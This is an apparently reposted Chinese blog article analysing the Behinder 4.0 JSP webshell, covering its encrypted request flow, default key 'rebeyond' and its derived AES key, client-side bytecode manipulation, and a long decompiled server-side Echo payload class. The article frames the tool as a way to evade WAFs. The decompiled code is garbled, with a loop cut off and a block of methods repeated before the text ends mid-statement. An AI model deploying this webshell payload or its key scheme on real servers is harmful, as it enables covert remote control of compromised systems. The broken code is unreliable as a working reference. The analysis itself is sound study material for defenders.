小工具知识网

当前位置: 首页 > 行业知识 > 冰蝎4.0jsp木马浅析

行业知识

冰蝎4.0jsp木马浅析

2026-10-25 09:31:00 来源:互联网转载

前言

这里简单学习一下冰蝎是怎么运行的,如何通过加密解密来绕过一些常见的waf设备

工作流程

  1. 冰蝎准备一个经过加密的字节码,放入请求体中

  2. 服务端通过jsp中的密钥解密,然后调用equals方法,来获取此次执行的结果

  3. 将获取到的结果通过设置的密钥加密,返回给客户端

  4. 客户端通过密钥解密

由此可以知道密钥在流程中非常的重要,冰蝎的默认的密码为rebeyond,其加密之后得到的前16位密钥为e45e329feb5d925b

通过以下代码可以获取

import org.springframework.util.DigestUtils;import java.security.NoSuchAlgorithmException;public class GenerateKey {    public static void main(String[] args) throws NoSuchAlgorithmException {        String key = "rebeyond";        System.out.println(getMd5Key(key).substring(0, 16));    }    public static String getMd5Key(String key){        String md5Key = DigestUtils.md5DigestAsHex(key.getBytes());        return md5Key;    }}

这里使用的jsp木马如下

我这里做了一些便于学习的东西,将冰蝎发送过来的字节码保存成类文件,更直观一点

 

这个jsp的木马也比较好理解,将密钥作为标识符设置到session中,然后判断是否为POST请求,如果是的话先获取客户端的请求体数据,然后先解码base64,然后解密获取class字节码数据,调用方法g来实例化对象,然后调用equals

代码分析

当点击shell列表中的shell时,会触发一系列的方法,这里涉及到javafx的东西,不在文章中简述

从doConnect开始跟进

Utils.getRandomString(randStringLength)是用来构造一段特殊的字符串,后续会有使用

进入echo,带入生成的字符串

进入Utils.getData

进入Params.getParamedClass

getTransProtocoledClass

在之前传入的Echo,在这里组合成net.rebeyond.behinder.payload.java.Echo,就是冰蝎在第一次运行的时候需要请求信息,那么每次发送的payload都需要编译的话速度会非常慢,所以作者使用操作字节码的方式来发送payload

  1. 首先获取Echo的CtClass对象

  2. 修改类名

  3. 移除Encrypt方法

  4. 创建Encrypt方法

返回Echo的字节码

然后进入到getParamedClass方法中

在这里使用了做了以下的操作:

  1. 修改类名,随机命名

  2. 使用观察者模式来操作字节码,遇到其实就是无参构造方法的时候,进行操作,具体是啥这里先不解释

回到Utils,进入cryptor.encrypt

this.getEncodeCls();

这个方法,创建了一个名为test的类,类中包含默认的加密方法,以便于下面的字节码操作

通过反射获取Encrypt方法,利用这个方法加密前面获取Echo类的字节码

回到ShellService类

下面就是把加密的字节码发送到服务器去解析了

进入doRequestAndParse

一直跟进

前面就是在添加header头,然后发送数据包

然后看服务器上

//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package net.ozfvwj.qjxyz;import java.lang.reflect.Method;import java.util.Iterator;import java.util.LinkedHashMap;import java.util.Map;import java.util.Random;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;public class Vlfq {    public static String content;    public static String payloadBody;    private Object Request;    private Object Response;    private Object Session;    public Vlfq() {        content = "";        content = content + "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";        super();    }    public boolean equals(Object obj) {        LinkedHashMap result = new LinkedHashMap();        boolean var13 = false;        Object so;        Method write;        label95: {            try {                var13 = true;                this.fillContext(obj);                result.put("status", "success");                result.put("msg", content);                var13 = false;                break label95;            } catch (Exception var19) {                result.put("msg", var19.getMessage());                result.put("status", "success");                var13 = false;            } finally {                if (var13) {                    try {                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);                        write = so.getClass().getMethod("write", byte[].class);                        System.out.println("this.buildJson(result, true) " + this.buildJson(result, true));                        write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));                        so.getClass().getMethod("flush").invoke(so);                        so.getClass().getMethod("close").invoke(so);                    } catch (Exception var16) {                        var16.printStackTrace();                    }                }            }            try {                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);                write = so.getClass().getMethod("write", byte[].class);                System.out.println("this.buildJson(result, true)2 " + this.buildJson(result, true));                write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));                so.getClass().getMethod("flush").invoke(so);                so.getClass().getMethod("close").invoke(so);            } catch (Exception var17) {                var17.printStackTrace();            }            return true;        }        try {            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);            write = so.getClass().getMethod("write", byte[].class);            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));            so.getClass().getMethod("flush").invoke(so);            so.getClass().getMethod("close").invoke(so);        } catch (Exception var18) {            var18.printStackTrace();        }        return true;    }    private String buildJson(Map entity, boolean encode) throws Exception {        StringBuilder sb = new StringBuilder();        String version = System.getProperty("java.version");        sb.append("{");        Iterator var5 = entity.keySet().iterator();        while(var5.hasNext()) {            String key = (String)var5.next();            sb.append("\"" + key + "\":\"");            String value = (String)entity.get(key);            if (encode) {                value = this.base64encode(value.getBytes());            }            sb.append(value);            sb.append("\",");        }        if (sb.toString().endsWith(",")) {            sb.setLength(sb.length() - 1);        }        sb.append("}");        return sb.toString();    }    private void fillContext(Object obj) throws Exception {        if (obj.getClass().getName().indexOf("PageContext") >= 0) {            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);            this.Session = obj.getClass().getMethod("getSession").invoke(obj);        } else {            Map objMap = (Map)obj;            this.Session = objMap.get("session");            this.Response = objMap.get("response");            this.Request = objMap.get("request");        }        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");    }    private String base64encode(byte[] data) throws Exception {        String result = "";        String version = System.getProperty("java.version");        Class Base64;        try {            this.getClass();            Base64 = Class.forName("java.util.Base64");            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);        } catch (Throwable var7) {            this.getClass();            Base64 = Class.forName("sun.misc.BASE64Encoder");            Object Encoder = Base64.newInstance();            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);            result = result.replace("\n", "").replace("\r", "");        }        return result;    }    private byte[] getMagic() throws Exception {        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;        Random random = new Random();        byte[] buf = new byte[magicNum];        for(int i = 0; i = 0) {            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);            this.Session = obj.getClass().getMethod("getSession").invoke(obj);        } else {            Map objMap = (Map)obj;            this.Session = objMap.get("session");            this.Response = objMap.get("response");            this.Request = objMap.get("request");        }        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");    }    private byte[] getMagic() throws Exception {        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;        Random random = new Random();        byte[] buf = new byte[magicNum];        for(int i = 0; i 

上一篇:电脑Win10系统重装全攻略,轻松上手,一键搞定安装!

下一篇:电梯机房 在哪里?